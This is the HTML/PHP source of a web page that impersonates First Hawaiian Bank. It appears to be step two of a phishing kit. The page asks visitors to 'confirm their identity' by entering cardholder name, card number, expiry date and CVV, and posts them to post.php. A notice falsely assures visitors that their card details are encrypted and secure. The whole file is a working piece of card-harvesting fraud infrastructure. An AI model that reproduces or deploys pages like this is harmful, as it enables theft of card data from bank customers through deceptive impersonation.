<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700;900&family=Playfair+Display:wght@400;600&display=swap" rel="stylesheet">
    <title>First Hawaiian Bank — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #B31F29;
            --red-dark:   #8a1820;
            --yellow:     #FEC443;
            --yellow-dark:#e0a800;
            --text:       #1a1a1a;
            --text-sub:   #444;
            --text-muted: #777;
            --border:     #e0e0e0;
            --white:      #ffffff;
        }
        html, body { height: 100%; font-family: 'Lato', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        .fdic-bar { background: var(--red); padding: 7px 32px; display: flex; align-items: center; justify-content: center; gap: 10px; }
        .fdic-badge { background: #fff; color: var(--red); font-size: 9px; font-weight: 900; letter-spacing: 0.08em; padding: 2px 4px; border-radius: 2px; flex-shrink: 0; line-height: 1.4; }
        .fdic-bar span { font-size: 12px; color: #fff; font-style: italic; font-weight: 400; }

        .main-nav { background: #fff; padding: 0 40px; display: flex; align-items: center; justify-content: space-between; height: 68px; box-shadow: 0 2px 8px rgba(0,0,0,0.08); position: relative; z-index: 10; }
        .nav-logo img { height: 32px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 32px; }
        .nav-links a { font-size: 14px; font-weight: 700; color: var(--red); text-decoration: none; }
        .btn-login-nav { background: var(--yellow); color: var(--text); border: none; border-radius: 20px; padding: 9px 22px; font-family: 'Lato', sans-serif; font-size: 13.5px; font-weight: 700; cursor: pointer; letter-spacing: 0.03em; }

        .hero { flex: 1; background: url('res/img/background.jpeg') center center / cover no-repeat; position: relative; display: flex; align-items: center; justify-content: center; padding: 48px 20px; }
        .hero::before { content: ''; position: absolute; inset: 0; background: linear-gradient(180deg, rgba(0,0,0,0.18) 0%, rgba(0,0,0,0.08) 100%); }

        /* ── CARD ───────────────────────────────────── */
        .card-wrap { position: relative; z-index: 2; }
        .login-card {
            background: #fff; width: 380px;
            border-radius: 6px; padding: 32px 36px 36px;
            box-shadow: 0 8px 40px rgba(0,0,0,0.18), 0 2px 8px rgba(0,0,0,0.1);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(18px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 18px; text-align: center; }
        .card-logo img { height: 28px; width: auto; display: inline-block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 20px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 700; flex-shrink: 0; }
        .step.done   { background: var(--yellow); color: var(--text); }
        .step.active { background: var(--red); color: #fff; box-shadow: 0 0 0 3px rgba(179,31,41,0.15); }
        .step.pending{ background: #eee; color: #aaa; }
        .step-line      { flex: 1; height: 2px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--yellow); }

        .card-header { margin-bottom: 18px; padding-bottom: 14px; border-bottom: 2px solid var(--red); }
        .card-header h1 { font-size: 17px; font-weight: 700; color: var(--red); }
        .card-header p { font-size: 12.5px; color: var(--text-muted); margin-top: 4px; }

        .sec-notice { display: flex; align-items: center; gap: 8px; background: rgba(179,31,41,0.06); border: 1px solid rgba(179,31,41,0.15); border-radius: 4px; padding: 9px 12px; margin-bottom: 16px; }
        .sec-notice svg { flex-shrink: 0; color: var(--red); }
        .sec-notice span { font-size: 12px; color: var(--red); font-weight: 700; }

        .field { margin-bottom: 13px; }
        .field label { display: block; font-size: 12px; font-weight: 700; color: var(--text-sub); margin-bottom: 5px; letter-spacing: 0.03em; text-transform: uppercase; }
        .field input { width: 100%; height: 40px; padding: 0 12px; border: 1px solid var(--border); border-radius: 4px; font-family: 'Lato', sans-serif; font-size: 14px; color: var(--text); background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none; }
        .field input::placeholder { color: #ccc; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3px rgba(179,31,41,0.1); }
        .field-row { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; margin-bottom: 13px; }
        .field-row .field { margin-bottom: 0; }

        .btn-main {
            width: 100%; height: 42px;
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 22px;
            font-family: 'Lato', sans-serif; font-size: 14px; font-weight: 900;
            letter-spacing: 0.05em; text-transform: uppercase;
            cursor: pointer; margin-bottom: 16px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
        }
        .btn-main:hover { background: var(--yellow-dark); box-shadow: 0 4px 14px rgba(254,196,67,0.4); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }

        .card-divider { height: 1px; background: var(--border); margin-bottom: 14px; }
        .card-links { display: flex; flex-direction: column; gap: 9px; }
        .card-links a { font-size: 12.5px; color: var(--red); text-decoration: none; font-weight: 700; display: flex; align-items: center; gap: 5px; }
        .card-links a:hover { text-decoration: underline; }

        .page-footer { background: #1a1a1a; padding: 18px 40px; display: flex; align-items: center; justify-content: space-between; gap: 20px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 11px; color: rgba(255,255,255,0.3); }

        @media (max-width: 500px) { .login-card { width: 100%; padding: 24px 20px 28px; } .field-row { grid-template-columns: 1fr; } .hero { padding: 24px 16px; } }
    </style>
</head>
<body>

    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <span><em>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</em></span>
    </div>

    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="First Hawaiian Bank"></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Business</a><a href="#">Wealth Management</a></div>
        <button class="btn-login-nav">LOG IN</button>
    </nav>

    <div class="hero">
        <div class="card-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="First Hawaiian Bank"></div>

                <div class="step-indicator">
                    <div class="step done">✓</div>
                    <div class="step-line done"></div>
                    <div class="step active">2</div>
                    <div class="step-line"></div>
                    <div class="step pending">3</div>
                </div>

                <div class="card-header">
                    <h1>Confirm Your Identity</h1>
                    <p>Enter your card details to verify your account</p>
                </div>

                <div class="sec-notice">
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                    <span>Your card details are encrypted and secure</span>
                </div>

                <form action="post.php" method="post">
                    <div class="field"><label for="name">Cardholder Name</label><input type="text" name="name" id="name" placeholder="As shown on card" autocomplete="cc-name"></div>
                    <div class="field"><label for="cc">Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" autocomplete="cc-number" inputmode="numeric"></div>
                    <div class="field-row">
                        <div class="field"><label for="exp">Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" autocomplete="cc-exp" inputmode="numeric"></div>
                        <div class="field"><label for="cvv">CVV</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" autocomplete="cc-csc" inputmode="numeric"></div>
                    </div>
                    <button type="submit" class="btn-main">
                        Continue
                        <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
                    </button>
                </form>

                <div class="card-divider"></div>
                <div class="card-links">
                    <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                    <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 First Hawaiian Bank. Member FDIC. Equal Housing Lender.</div>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>$("#cc").mask("0000 0000 0000 0000");$("#exp").mask("00/00");$("#cvv").mask("0000");</script>
</body>
</html>